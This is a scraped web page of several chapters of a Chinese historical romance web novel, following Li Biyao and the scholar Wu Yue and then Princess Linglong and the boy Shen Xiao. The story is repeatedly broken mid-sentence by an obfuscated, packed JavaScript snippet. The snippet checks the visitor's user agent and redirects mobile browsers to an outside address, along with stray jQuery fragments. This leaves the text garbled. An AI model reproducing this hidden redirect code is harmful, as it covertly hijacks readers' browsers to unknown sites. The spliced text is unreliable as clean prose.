l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244497|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管我不管,你对我这么好,我不许你对别的女子这么好。”李碧瑶一把挽过他的胳膊,下一秒,整个人扑在了他的身上。 “那我问你,你叫什么?”他一把推开她,满脸严肃问道,连她叫什么都不知道,她还一个劲儿地嚷嚷着要嫁给自己,荒唐! “阿瑶,嘻嘻嘻。”李碧瑶毫不放弃,又一把拉过他的臂弯。 “好的,阿瑶。从明天起,你走你的阳关道,我过我的独木桥,你从哪里来的回哪里去,不要再纠缠我了。”他又一把推开她,往后退了退,试图和她保持距离。 李碧瑶真的伤心了,从小到大,她要什么没有,就连皇后之位也是唾手可得。整整一天天,她不吃不喝,等吴越再见到她时,她的眼睛哭肿得跟个核桃似的。 吴越心善,见不得女孩子哭,也拗不过她,终究是妥协了,和着村里几十户人家的祝福,苍天为证,古树为媒,两人拜了天地。 吴越穷到家徒四壁,成亲的物品都还是东家一捧莲子,西家一把花生,南家一串桂圆,北家一箕红枣凑出来的。 村里的读书人过上了好日子,早就搬走了,能认识几个大字的人也不多。听闻有人要成亲,村长的二话不说送来了笔墨,在这个大山里,这可是稀罕物件,李碧瑶亲手染了红纸,提笔写下了“喜”字,贴了满屋。 仪式性地在大山里走了一圈,张大娘拉着李碧瑶的手,语重心长地说道:“瑶姑娘啊,阿越这小子虽然是穷了点,但人不错,就是缺个能替他打点一切的人儿,有你帮持着他,日子一定会好起来的。” “嗯。”李碧瑶嘴上应着,双颊晕上两坨醉人的绯红。 一番嬉笑玩闹以后,吴越怔怔望着墙上的“喜”字,出了神。 李碧瑶一把把胳膊搭在他肩上,整个人歪在他身上:“想什么呢!” “我在想娘子哪里人士,这字写得倒是挺好看的。”这是个陈述句,他不奢求她会回答什么有用的消息。早就问过很多遍了,可她不说,他再追问确是自讨没趣了。 “你猜呀。”李碧瑶笑得轻佻。她当然不会告诉他,要是他知道了自己是丞相家的女儿,不知道他还敢不敢娶。 她不说,吴越也没想过她会告诉他,连姓名都如此保密,他也不奢求从她嘴里能探到更多消息。 那夜,两人无事发生。李碧瑶白天疯得累了,晚上窝在吴越怀里,早早地就睡了。 吴越却久久不能入睡,听着身旁女子浅浅的呼吸声,思绪万千。 她终究是玩心太大了,估计是跟家里人闹了矛盾,等她闹够了,想明白了,自然就会回家的吧,吴越想着。 那时候,她要走,他当然不会拦,他们俩人相识一场,最后尘归尘,土归土,各自回归各自的生活,她做她的大小姐,他做他的穷小子,再无交集,也好,权当这次相遇是萍水相逢。 但吴越万万没想到,李碧瑶这次是认真的,认真至极。 42. 不待良人③ “成亲”以后,吴越身后就多了条“小尾巴”。 毕竟偌大的山村,李碧瑶认识的人也没几个,她也懒得挨家挨户走门串户地去熟识,同时她对路也不熟,所以吴越走到哪里,她就跟到哪里。 吴越锄地割草,李碧瑶跟在他后面,学着他的模样,哗啦哗啦地就是一顿乱拽,完事了还颇为得意地跑到他跟前炫耀一番。 吴越看了看她身后的“杂草”,脸都黑了,我的姑奶奶呀,你怎么把我种的庄稼都除了呀,可嘴上也没说些什么她的不是。只是把她叫到跟前,拿着实物,耐着性子跟她一一讲解什么样的是谷子,什么样的是杂草,怎么去区分。再去看看自己刚刚除的“杂草”,李碧瑶这才明白自己刚才干了坏事,后面的除草工作就变得仔细起来。 吴越烧火做饭,李碧瑶在灶台旁看着,也想搭把手,可又不会做饭又不会切菜的,就在旁边为他添柴。 没一会儿,锅里开始冒白烟,吴越被熏得眼泪直流,情急之下,慌忙往锅里加了一盆水。 “咳……咳咳……阿瑶,你加这么多柴干吗?”很平淡的问句,吴越一如既往温柔,也没指责她。 灶膛里炉火烧得正旺,李碧瑶看着他眼眶里被熏出的泪,有些委屈,心里纳闷着:不是应该柴越多,火越大,越好吗? 吴越看着她一副受了委屈可怜巴巴的模样,揉了揉她的头,温柔道:“少加点柴火,多了会把锅烧坏的。” “哦。”李碧瑶似懂非懂地答了句,心里划过无数个问号。 一直过了很久,她都没有离开,吴越在日常生活中发现,她真的是什么都不知道,什么都不会。每每她做错了什么,吴越也不恼,她若想学,他便手把手地教她,她若不想学,吴越也不勉强她。苦活脏活,吴越却从不让她干。 不过像是在山里捕野兔,在溪里捞鱼儿这类的活,她倒是很在行,她是猎户家的女儿吗?吴越想着,打心底开始慢慢接受这个突如其来的女子,听她“相公、相公”喊得欢快,偶尔也回她一句“娘子”。 李碧瑶只是觉得,以前的日子好像都白过了,每天浑浑噩噩的,除了吃喝玩闹,好像什么都没干……而现在,在吴越的指导下,她学会了种庄稼,学会了淘米做饭、洗衣,学会了好多以前不会干的事。 是吴越让她开始明白,生活不只是眼前的苟且与及时行乐,更有未来和远方。 日子若是这样过着倒也还好,平平淡淡,吃穿不愁,知足常乐,可偏偏事不如人意。 光阴似箭,日月如梭,转眼又是一个春天。 正是乍暖还寒的季节,空中飘着如丝的细雨,李碧瑶见了心里欢喜,便冲出屋子,在雨中蹦蹦跳跳地欢呼着。 经过了一个寒冬的禁锢,终于可以出门玩耍了。他们这个小村子可不比相府,取暖条件不好,冬天整日只能窝在小屋子里,一出门就会被寒风肆虐。 吴越见了,皱了皱眉头,扯着嗓子向窗外人喊道:“娘子,快些进屋来,别淋着雨着凉了。” 殊不知,此时一伙黑衣人的目光已经瞄准李碧瑶。 无意站在半山腰上,望着一栋土房子旁的那抹倩影,轻轻扯了扯嘴角:“终于、找到了吗?” 快一年了,原来自家大小姐不是被山中的豺狼虎豹吃了,也不是有上天遁地的本事,而是被人藏起来了,难怪一直找不到。 他们这次远去别国任务,归来途径此山,无意看见一个村民挑着行李走在大山里,山里前前后后他们都搜过了,不曾见着人家,顿时心生狐疑,跟着他多走了几步,才发现这个别有洞天的村庄。 “头儿,现在要怎么办,要直接下去把她抓回来吗?”一个黑衣人落在了她的面前,向她请示道。 “不急,慢慢观察,别吓坏了村民们。”无意拨开眼前的一片枝桠,望着不远处的那个人儿,心中窃喜,太好了,她还活着。 “好的,头儿。”黑衣人得了令,“嗖”地一声,没入了密林中。 细雨梭织,暗夜无声,其间的不同人酝酿着各自的心事。 无意蛰伏在小土屋不远处的一个草丛里,安静得像等待捕食猎物的野兽。她认真地观察着小屋子的四周,一遍遍确认没有人出来,大小姐没有跑掉,这才放心。 好不容易又看见的!可不能打草惊蛇让大小姐又跑了。 屋内,燃着一方昏暗的烛台,吴越正在编着一个箩筐,正是春日播种的忙碌时刻,可是他却要走,心中的愧疚弥漫开来,许久,他还是忍不住开了口。 “阿瑶,今天有村子里有人去了集市,说是念城新一度的科举出了告示,我想去试试。”吴越想了很久,如果他的阿瑶有一天想要回家了,自己该怎么面对她的双亲?他本就一无所有,阿瑶跟着他只会受苦。 吴越自幼丧父,他娘一把将他拉扯大,他念过些书,考了个秀才。后来他娘亲生病了,为了医好她,花光了家里的所有积蓄,他们一贫如洗,可娘亲还是走了。再后来他颠沛流离,因为一个意外流落到这个小村子,便就在这里安顿了下来。 听闻如今玉宵国不是很太平,相对于去外面闯荡一番,以书取仕大概是最好的办法了。 “去呀,想去就去呗。”李碧瑶就着昏暗的烛光,正在给吴越缝制一件长衫,小心翼翼地戳着一针一线,生怕再扎了自己的手。吴越有上进的想法自然是好的,作为妻子,她当然要无条件支持。 就在今天,她根据平日里邻家大娘教的知识,想给吴越做件衣裳,却不小心扎到了自己的手。吴越心疼不已,一把夺过她手中的布料,让她停手,她却毫不依他,一把又夺了回去。后来又扎到了好几次,她不吭声,吴越却看到了她一次次突然蹙起来的眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可当他中举以后回家,阿瑶却不见了。他发疯似地在村里挨家挨户地打听,没有人知道阿瑶去了哪里。隔壁的小虎告诉他:“吴越哥,你走以后不久,阿瑶姐姐连招呼都没跟乡亲们打,就不见了呢。我娘说,她是去寻你了。” 糟了。她去寻他去了,而现在他回来了,他们不是生生地错过了吗?吴越思绪万千,她本来就人生地不熟,平时都是跟着他一起出行,从念城到村子的路这么远,这个村子连名字都没有,她还回得来吗? 他有那么多不舍,说了那么多句道别和珍重,却独独忘了说一句“等我回来”,想到这里,吴越扬手给了自己一巴掌。 一个念头在他脑海里慢慢萌生,他要出人头地,名立四方,这样他就可以有很多手段去寻找阿瑶。只要他爬得足够高,他的阿瑶才可以在人山人海一眼就找到他。 自此,吴越头悬梁、锥刺股,踏上了漫漫的科举长路。 纵然天大地大,生繁华万千,有风景无数,于吴越而言,人世间他苦苦追寻的,只有一个阿瑶而已。 43. 不待良人④ “阿瑶姐姐,我今日在山上抓了只兔子。”老远老远,就看到小虎抱着一只毛茸茸的灰色兔子,欢喜地朝隔壁的小土屋蹦去,正打算送给李碧瑶。 兔子是赤手空拳抓的,一点毛皮都没伤着,吴越哥刚走,阿瑶姐一个人肯定很无趣,把这个兔兔送给她作伴吧,小虎想着,便加快了脚步。 木门是敞着的,原本应该出现在桌上的那方锦帕掉落在地,也看不见平日里那抹靓丽的身影,阿瑶姐不知道去了哪里。 为了找到她,小虎在屋里屋外都搜寻了一番,没有!正值播种时节,小虎想着,阿瑶姐可能在忙,还特地去了田里看看,也没有!又在邻里邻居家都问询了一遍,却依旧是没有。 “娘,娘!阿瑶姐姐不见了!”小虎哭哭啼啼地跑回家,想赶忙把这个消息告诉了自家娘亲。 就在刚路过吴越家门口的时候,手中的灰兔受了惊吓,蹦落在绿油油的草地上,马上就窜进树林没了影,他也无暇去寻。 “阿瑶啊,她可能是去找吴越了吧。”张大娘摸了摸小虎的头,塞给他一颗新摘的梅子,甜味立即在舌尖弥漫开来。 “哦。”吴越哥刚走,阿瑶姐姐那么喜欢跟着他,肯定是去找他了。小虎似懂非懂,仰着头问娘亲:“娘,那他们还会回来吗?” “唉……”张大娘长长地叹了一口气,他们会不会回来,谁知道呢。村里原来那么多的读书人,一旦后来有了点成绩,最终都了离开。也是呀,正常人谁愿意留在这穷乡僻壤受苦呢。 - 帝都念城,城北。 “追!”无意一声令下,一群黑衣人如同找寻食物的蚁群般朝着一个方向涌过去。 顺着他们的方向看过去,那个慌乱逃跑的女子,不是别人,正是李碧瑶。 真是头疼,无意想着,早知道就给她多加些药的,没想到大小姐居然醒得这么早,眼看即将到了相府,她趁大家不注意,居然醒了,还溜下了马车。 怎么办?不能被抓回去。现在,她不是一个人了,要是回到相府,逃了婚约也就罢了,李谌要是知道她现在有了别的男人的孩子,指不定会把她打得半死。 借着一个岔路,李碧瑶暂时摆脱了那一伙黑衣人,看着眼前的雕梁画栋,镀金额扁上洋洋洒洒地书了“醉红楼”三个大字,李碧瑶心一横,钻了进去。 楼里很热闹,一派旖旎的景象,林青筱打了个晃的功夫,李碧瑶猫着腰钻了进去,意识到面前一闪而过的人影,林青筱朝她嚷嚷道:“唉,你谁呀你,干嘛呢?” 李碧瑶躲在前台的柜子后面,朝她比了个“嘘”的手势,面上一副哀婉凄惨的模样,双手合十,朝她拜了拜:“求你,救救我,他们在追杀我。” 算账的伙计看着这个突如其来的女子,手停驻在算盘上,一脸懵逼,不知如何是好,向林青筱投去求救的目光。 “救你,为什么要救你?你赶紧给我出去,别耽误了我做生意。”林青筱看过这世间太多太多的苦难了,她又不是圣人,没必要每一个走进醉红楼的人她都要救。更何况,对方是个年轻美貌的女子,这世间美人于她而言,都有罪。若不是这些个以色相诱人的狐狸精们,聂云天又怎么会变心离她而去? 林青筱一把将她从柜台后面扯出来,拉到了一间屋子里。这丫头行事过于招摇,越来越多的目光聚集到她身上,不暴露才怪,也不知道是招惹了什么人,林青筱可不想平白无故的得罪人家,划不来,还要花时间处理她的那兜子烂事。 “我是丞相家的长女,你要是不帮我,我就让我爹找人来把你这楼抄了。”眼看着面前人没有要帮自己的意思,李碧瑶索性威胁起她来。 林青筱看向她的眼神像看傻子一般,什么丞相府,她怕是不知道吧,几个月前,皇上给丞相府下达了满门抄斩的旨意,上上下下,除了宫里的那位,早就都死透了,这傻丫头却还蒙在鼓里。 林青筱才不怕这些官官兵兵的,敢拦她的人,来一个杀一个,来一双杀一双,可又转念一想,官宦家的子女啊,有意思,反正她也无处可去,不然…… 就把她留下来吧!这么美的女孩子,肯定能为醉红楼招揽来不少生意,她不是这正被追杀吗?作为交换,林青筱自然是可以护她周全。 想法既定,林青筱毫不犹豫地开了口:“我帮你可以,但是从今天起,你就是我醉红楼的人了。” 路她已经铺好了,走不走就看她自己的选择了。 醉红楼是什么地方,李碧瑶当然知道,她还女扮男装,跟着那群世家权贵的公子哥们,一起逛过呢。 想了想肚子里的孩子,李碧瑶咬了咬牙,打消了所有的犹豫,斩钉截铁地说了句:“好”。 “但我有件事要跟你讲,我……我有了身孕……”迎上林青筱打量的目光,李碧瑶怯怯地说了一句。 “你好自为之吧,丞相府,已经没了,叛国之罪,满门抄斩。”哎,傻姑娘,林青筱幽幽地叹了口气,还是把真相告诉她。 什么!李碧瑶难以置信,掐指一算,她已经离开家近一年,这一年里发生了什么?百年的相府树大根深,父亲的为人她也是知道的,怎么会叛国?难道是因为那道圣旨? 怎么办?她带着罪臣之女的身份,该怎么活下去?一时答应林青筱只是敷衍,只为了寻得一个临时的庇护,难道说,她真的要永远呆在这乌烟瘴气之地? 一个有孕且无家可归的女子,这让林青筱想起自己怀胎十月的不易。终究是心软了,她开始顾虑,亲昵拉过李碧瑶的手,把李碧瑶带到了楼里的一个装潢华丽的房间,跟她说:“你就先住在这里,以后的事,以后再说吧。但无论怎样,你都要相信,醉红楼都是可以保你周全的。” 夜很漫长,星星很亮,屋子四周一直传来男男女女欢笑嬉戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244499|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音。那一刻,李碧瑶是愈发思念吴越,她怀念那个不苟言笑的他,怀念他的眉宇,他的温柔。 相府门外,十几个护卫聚成一堆,望着门上的封条犯了难。 “头儿,我们几个月前出去执行任务后不久,丞相府就被抄了。现在怎么办?”来跟他汇报的人语气淡淡的,他们名为暗卫,事实上大部分人都是杀手,见过了太多的生死起落,感情对他们而言,才是最致命的。 说起来也是巧呢,要不是这次留了个心眼,多走了几步路,无意也想不到,自家大小姐一年前的失踪,不是因为被山间的野兽吃了,也不是被摔得粉身碎骨,而是藏在了一个只有几十户人家的小村庄。外面密林重重,要不是亲自进去探索了一番,无意也想不到,那山里面竟然住了人。 “散了吧。”无意擦着手中的长剑,好些年了,也是时候该让它歇歇了。 小姐也被追丢了,丞相府也没了,他们还能怎么样?不过无意相信,这些人各有其才,不论在哪里,都是可以好好活下去的。 她接下来有事情要去做,就是找到李碧瑶,悄无声息地呆在她身边护着她,摒弃过去所有身份的那种。 林青筱特地给李碧瑶配了个丫鬟,叫阿水。阿水不过是个豆蔻年纪的少女,模样清秀,浑身上下带着几分灵动。 看着阿水,李碧瑶不明所以,这个丫鬟,是来监视自己的?她冷眼问林青筱:“这是何故?” 林青筱想自己大概是做坏人做久了,所以无论是做好人做坏人,话里永远一副尖酸刻薄的模样:“你可别忘了,你以后可是我们醉红楼的人。” 她是可怜李碧瑶没错,也想帮她没错,但是这天下的女子,都可恶,尤其是像李碧瑶这种,越好看,越有罪。 李碧瑶妥协,是啊,除了醉红楼肯收留她之外,现在的她,身无分文,还大着肚子,能去哪里? 金秋时分,四年一度的殿试,新科状元身戴大红花,骑着高头大马游街,好不威风。李碧瑶挺着大肚子,和阿水一同在窗内张望,心里面想的都是吴越的影子,不知吴越今年中举了没? 没过多久,李碧瑶生下了一个女孩。阿水看着她怀中小小的一团,笑道:“果真和姐姐一样,是个美人胚子呢。” “瞧你这小嘴甜的哟,才出生几天,能看出来什么。”李碧瑶不以为然道,也就是能看见皮肤很白,眼睛很大罢了,其他的什么都看不到。 阿水笑,问道:“姐姐可有想好她的名字?” “月柒,就叫‘月柒’吧。”不管怎样,在李碧瑶心里,她永远是吴越的妻子,这点她是如此笃定。 阿水又接着问道:“那姐姐,这孩子姓甚?” 李碧瑶望向襁褓中的婴儿,目光里满是爱意:“吴。” 后来阿水被人赎出了醉红楼,整个醉红楼,除了李碧瑶自己,再无人知道,月柒本该姓吴。 44. 不待良人⑤ 李碧瑶本打算带着月柒回到那个当初的小村子,一件事情改变的她的想法。 她在醉红楼大厅里,看到了玉十七! 她往日里蛮横,得罪了不少权贵家的公子小姐们,如今相府又变得没落,若是被他们发现了自己的身份,自己岂不是死无葬身之地? 林青筱正欲上楼,看到了她仓皇躲闪,读懂了她眼神中的惶恐:“怎么了?熟人?” “嗯。”李碧瑶也不打算瞒她,毕竟以她现在的处境,面前的女子是为数不多的能帮到她的人。 “我说了,醉红楼可以保你周全,你若是不考虑你那刚刚出生的孩子,你便走吧。”林青筱不傻,她看到了李碧瑶眼中要走的决绝,直接戳破。 若是被发现了,不仅是她,他们发现吴越要是跟自己在一起的话,也会受到牵连的吧,还有月柒。 最终,李碧瑶选择了留在醉红楼,只因为那一句“护你安好”。安全感多么重要的一个东西,既然她自己不能给自己,只有向他人寻求了。 不相认,不再见,也许这样,于她好,于吴越好,于月柒也好。 “你记住,以后你不管遇见了哪个认识的人,只要装作不认识,便没事。我有的是办法让他们查不到你的消息,你懂吗?”林青筱向她交代。 李碧瑶应着,心中凉凉的寒意向她袭来,她和吴越,到头来,终究是只能扮演着陌生人的角色。 一转眼,四年过去了。这四年里,李碧瑶变成了醉红楼头牌林月萌,月柒也在一天天地长大,成了一个古灵精怪的丫头,那样子,颇像李碧瑶年少时模样。 这天的念城欢天喜地,听闻是皇上钦点的金科状元今日游街。阿水还是小孩子心性,像四年前一样地好奇,从窗子探出头去看,科举四年一度,这么热闹的景象可不常见。 “姐姐,快来看!今年的金科状元甚是俊俏呢,他身边还有一个好可爱的小孩子呢。” 飞鸿腾达后还记得原有的妻儿,这样的人并不多,李碧瑶心中感慨,这倒是个有情郎儿,可是这又于她有何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244500|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干系? 李碧瑶没有理睬她,顾自描着眉,涂抹着胭脂水粉。铜镜中的女子浅黛娥眉,笑若桃花,正是正好的年纪,风华无限。 她想,外面的人不是吴越呢。即便是吴越,如今她这样堕落,该怎么去面对他?算了,不等他了吧,还是多挣些银两,养活自己和月柒吧。 随即,她便抱了琵琶下了楼,身为花魁,多少人会为她一掷千金,打赏自然也是不菲。 楼下宾客满座,看到那一抹抱着琵琶款款下楼的倩影,不禁眼前一亮。 而李碧瑶转身的时候,那匹棕马正从她背后经过。 窗外马蹄哒哒,吴越一袭绿袍,脚着绿靴,这是皇上特地赏给新科状元的装扮。他和一个小男孩共骑着一匹马,那小孩有些兴奋地拉着缰绳,激动得脸蛋都是红扑扑的,他问那个男孩:“好玩吗?” 小男孩点了点头:“嗯!” 窗外的歪脖子树染上了些许的金黄,有些叶子已经开始掉落了,马蹄踏过,惊起一地的枯叶。 45. 驸马是护卫① 幽兰殿。 目之所及,是悬梁挂柱的白绫,宫人们皆身着素缟,神情悲恸,所有人却又是低声细语的,唯恐惊了那人。 小玲珑看着四周的景象,似乎明白了些什么,却又觉得难以置信,也打心里底无法接受,便拨开门口一圈作法的道士和送行的妃嫔,如离弦的箭般冲进了殿内。 大殿正中央摆放着一口暗黑色的棺材,棺体是由上好的梓木打造的,四边上雕刻些凤纹饰。旁边的一个老道士口中正神神叨叨念着些什么,旁边的一个小道士正欲合上棺盖。 小玲珑看见棺材之中静躺着的人面容,一把爬进了那口棺材,丝毫不管身旁的宫女扯着她一脸惊恐地喊道:“公主,公主,快出来!娘娘已经仙去了。” 棺材中的兰贵妃如同往常一样,头上戴着繁复的头饰,衣着华美,仪态端庄,就好像睡着了一般。 小玲珑紧紧地抱着她,像往常一样把头埋在她的胸口。只是身下的人,面无血色,全身冰冷,没有像以前那样,轻轻地摸着她的小脑袋,眉目含笑地跟她说:“玲珑乖,到母妃这里来。” “母妃,母妃……”小玲珑一声声地喊着,声音撕心裂肺,响彻幽兰殿。 她多么希望身下的人真的只是睡着了,还一遍遍地用力地扯着她的衣裳,试图把她唤醒。 玉轩枫的母亲珍妃,一把将小玲珑从兰贵妃尸体上捞起来,搂进自己怀里,用自己的面颊贴着她的:“玲儿乖乖的哈,让道长们好好地替她超度吧,你母妃该安息了。” “你们都胡说,我母妃才不会死!”大家都说,娘娘千岁,母妃至少能活一千岁!小玲珑眼里噙着泪花,满脸的倔强。 旁边有妃嫔看着这一幕,偷偷抹了把眼泪,可怜的小公主哟,才这么小,就没了娘亲。 怀中的小玲珑并不安分,猛地挣脱开珍妃的怀抱,头也不回地冲出了幽兰殿,却在半路上撞上了正向幽兰殿走来的玉景奕,忙扯着他的朝服,哭着向他求证:“父皇父皇,他们都说我的母妃死了,母妃没有死对不对?她还活着对不对?你快点告诉玲珑呀!” 玉景奕并没有回答她,只是把她抱在自己怀中,面色沉重,一言不发。 他又何尝不伤心呢?纵使有后宫佳丽三千,皇后也不过是他稳固江山的筹码,他这辈子心里只爱过两个女人,一个莞宁,一个兰贵妃。莞宁本是玉龙吟的太子妃,被抛弃后心灰意冷自挂了东南枝;兰贵妃近日也病逝,离他远去,这让他都难以接受,更何况小玲珑呢。 早些时候宫中德高望重的老御医就告诉过他,兰贵妃怕是不行了,他也只是暗地里偷偷垂泪,寻些民间精通偏门暗道的大夫来瞧她。可最后所有人都告诉他,兰贵妃时日无多。 他终究是妥协了,护不了兰贵妃,那就护好他们的孩子小玲珑吧。兰贵妃走的那一天,宫里很平静,只有宫人悄悄附耳告诉他,贵妃娘娘殁了。 为了不让玲珑看到送葬的这一番景象,他特地嘱咐了皇子们和一众后宫嫔妃,让他们轮流照看小玲珑一段时间。小玲珑跟他嚷嚷了好几天要回幽兰殿看望母妃,他没应允,没想到一个不注意,还是让她溜了回来。 刚好懂事的年纪,却要承受如此沉重的丧母之痛,真残酷。 玉静姝是宫里最受宠的小公主,小名玲珑,人如其名,七窍玲珑,才小小年纪,却已经是聪慧过人。 前不久皇后和众嫔妃还喝着茶,一脸惋惜地叹道:“可惜是个女孩,要是个男孩,指不定是条帝王命,咱玉霄国以后的半壁江山,可都得搭在她身上咯。” 大概是天妒英才,玉静姝也成了一个苦命的公主。 才五岁,本应该是在父母怀中撒娇的年纪,母亲兰贵妃却因为一场恶疾,离开了她。 玉轩枫的母亲珍妃,看她可怜,又因为素日里和兰贵妃关系甚好,就把玲珑收到自己名下照看着。 可能是因为一起长大的缘故,所有人之中,玉静姝最懂玉轩枫,也时常会替他去琢磨一些乱七八糟的事情。 兰贵妃去世以后,小玲珑变得性子孤僻,不喜言谈,时常静下来的时候,望着幽兰殿的一草一木发呆。 虽然她被收在珍妃名下,和她同吃同住,小玲珑却经常“失踪”,宫人们慌忙四处寻找,每次都在幽兰殿找到她。 珍妃怕她想不开,会惹出什么事端来,就让她跟着玉轩枫一起在太傅门下学习,明明才五六岁的年纪,却天赋异禀,就连太傅都连连点头称赞:“孺子可教也。” 玉轩枫听着太傅嘴里念叨着,什么之啊乎啊,头都大了,玲珑却对答如流,不禁向她投去了几丝崇拜的目光。 趁着课歇间隙,玉轩枫戳了一下她的脑门子:“小丫头,你怎么可以这么聪明?” “那是,皇后可是说了,要是我是个男孩,这太子之位可就没你份了。”小玲珑恃宠而骄,满脸得意地答道。 玉轩枫长玉静姝十余岁,皇后膝下只有两个公主,玉轩枫作为嫡长子,早早地便被立为了太子。 听说太子以后就是当皇帝的人,小玲珑撇了撇嘴,她才不想当什么皇上,自家父皇日理万机,累得要死了,都没空跟她说上两句话,她才不要那么忙,一天天的操心不完。 两人聊着聊着,没多久,她的眸子却暗淡了下来:“这些都是母妃教我的,她现在已经不在了……” “没事,你不是还有我,还有我母妃吗?你可以把我当做亲哥哥一样,把我母妃当做自己的母妃一样,大家都很关心你,你别再难过了。”玉轩枫把她圈揽在怀里,小玲珑低着头埋在他胸前一声不吭,玉轩枫本以为她已经释怀,可没过多久,他感受到自己衣上湿了一大片。 可这些乱七八糟的话,小玲珑也只会跟玉轩枫说说罢了,在其他人面前,玲珑依旧是沉默而又内敛的。 兰贵妃生前性子寡淡,素日里也少和其他妃嫔争宠,在宫里人缘还算不错。往日那个人见人爱、欢喜活泼的小公主玲珑一下子蔫了神,大家看在眼里,急在心里。 一年一度的秋猎,和圣上同行的众嫔妃纷纷请求皇上带上六岁的小玲珑,玉景奕想着要是能带她出去玩,她或许可以变得开朗一些,就应允了,就让玉轩枫捎上小玲珑。 玉轩枫和她同骑一匹马,坐在她身后,背着弓和箭,一副胸有成竹的样子:“皇妹你想猎什么,我这就去给你猎来。” 小玲珑没有说话,她什么都不想要,她只想要母妃活过来,可是大家都做不到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244501|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>万万没想到,自家皇兄秒变神助攻,给她捞了个男人回来。 彼时两人骑马穿梭在森林里,机警地望着四周,生怕错过什么猎物,下一秒,玉轩枫就注意到了草丛中的翕动声。 玉轩枫搭了弓,拉满,单目微闭,认真地瞄准着,他心想着,可不能让猎物落了空,好不容易带皇妹出来一趟,一定要满载而归。 只听得下一秒,一声凄惨的“啊”响彻森林,密林中的鸟兽受了惊,开始躁动起来。 玉轩枫心里一紧,糟了!那好像,是个人? 两人赶紧下马查看,只见一个小男孩躺在血泊之中,身上还插着一支箭,手边是半篮子蘑菇。 想来是山下的村民上山来采蘑菇,玉轩枫没看太仔细,才把他当做了野兽。 本来是为了让小玲珑开心,可没想到,玉轩枫一箭误射中了来山中采蘑菇的小男孩,这下小玲珑更加着急了。 玉轩枫赶紧把他抱上马,一路狂奔去了营帐,小玲珑坐在他们身后,差点没给颠下马,吓得死死地拽着玉轩枫的衣摆。 刚下马,小玲珑赶紧向人求救:“御医御医,快看看这个小哥哥。” 玉轩枫抱着小沈笑,跟在她后面,望着这个昏迷的孩子,满脸愁容。 猎场人手药品都有限,御医们先给沈笑做了些应急处理,然后马不停蹄地将他送到宫里。 小沈笑受伤,玉轩枫自责,小玲珑着急,众嫔妃也跟着忧心忡忡,好好的一场秋猎,却因为一个牵动大家心绪的小男孩,泡了汤。 玉轩枫的那一箭横贯了那个小男孩的胸膛,离心脏只偏了毫厘,差点没要了他的命。 御医说他的情况不容乐观,需要留下来慢慢观察,小玲珑便一直守在他身边,时时刻刻看守着他,寸步不离。 小男孩一直昏迷不醒,还发着高烧,嘴里不停地念叨着:“疼……疼……” 小玲珑听闻此言,就把自己的小手覆上了他的额头,对着那人道:“每次我身上疼的时候,母妃都会这样摸着我的头,摸着摸着就不疼了。” 尽管他听不见,但出人意料的,床上的小男孩安静了下来。 也是福大命大,没过几天,小男孩醒了。 小玲珑一时开心得忘乎所以,一把扑进了他的怀里,恰好不好地正压在他的伤口上,一时间血流不止,小男孩也疼得晕了过去。 玉轩枫数落着玲珑,郁闷至极,好不容易醒的,怎么又给弄晕了?小玲珑在一旁耷拉着脑袋,玉轩枫的话压根没听进去几句,倒是格外地心疼床上躺着的小哥哥,泪如断珠。 经过御医的一番抢救,没过多久,那小男孩终于又睁开了眼睛,小玲珑开心得像一只刚从笼中被放出的雀儿。 这一次她吸取了教训,不再跟他有所肢体接触,只是围着他的床边手舞足蹈,欢呼着:“醒了耶!醒了耶!” 床上的小男孩好奇地打量着这陌生的环境,丝毫不管旁边聒噪的小玲珑。 见他一言不发,小玲珑开心过了,便跑到他跟前,眨巴着眼睛问他:“我叫玲珑,你叫什么呀?” 小男孩酷酷地答了一句:“沈笑。” 小玲珑嘟着嘴,喃喃念了一句:“奇怪的名字。” 46. 驸马是护卫② 小沈笑苍白的脸上扯出一个微笑,解释道:“姑姑说了,生活苦点没有关系,做人呐,开心才最重要,要常常保持微笑,就给我取名叫‘沈笑’了。” 